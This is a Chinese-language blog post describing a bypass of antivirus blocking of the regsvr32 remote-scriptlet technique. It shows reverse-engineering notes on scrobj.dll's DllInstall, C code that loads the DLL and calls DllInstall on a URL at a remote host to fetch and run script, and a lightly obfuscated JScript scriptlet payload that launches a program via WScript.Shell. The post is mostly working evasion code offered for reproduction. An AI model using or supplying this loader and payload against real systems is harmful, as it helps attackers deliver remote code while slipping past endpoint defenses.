regsvr32绕过

  1. 前言
  2. 复现过程

前言

regsvr32为白名单,但是面对各种杀软和defender。早已被拦截,虽然可以命令行绕过,但是在看到某文章后决定复现一波
参考链接:regsvr32绕过

复现过程

regsvr32远程下载是调用scrobj.dll里的DllInstall函数实现的下载

IDA分析

API Monitor跟踪这个dll

搜索API关键名称CreateURLMonikerEx,找到函数位置

搜索该函数调用点在sub_1800072D0,符合DllInstall函数调用

调用该函数实现regsvr32实现功能

#include "stdafx.h"
#include <Windows.h>
#define error_print(name){printf("%s,Error Code:%d",GetLastError());exit(1);}
int main()
{
        LPCSTR dllpath = "c:\\windows\\system32\\scrobj.dll";
        HMODULE load = LoadLibraryA(dllpath);
        if (load == NULL) {
               error_print("LoadLibraryA");
        }
        FARPROC getmodule = GetProcAddress(load, "DllInstall");
        if (getmodule == NULL) {
               error_print("GetProcAddress");
        }
        ((void(*)(BOOL, TCHAR*))getmodule)(FALSE, L"http://192.168.137.227/testx.txt"); //指针函数调用
    return 0;
}

testx.txt

<?XML version="1.0"?>
<component id="TESTING">
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var wsc = "WScript.Shell";
      var com = "calc";
      com.concat(".","e","x","e");
      var foo = new ActiveXObject(wsc).Run(com);
    ]]>
</script>
</registration>
</component>


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:regsvr32绕过

本文作者:九世

发布时间:2021-01-20, 01:46:02

最后更新:2021-01-20, 01:55:02

原始链接:http://422926799.github.io/posts/b2680e3b.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录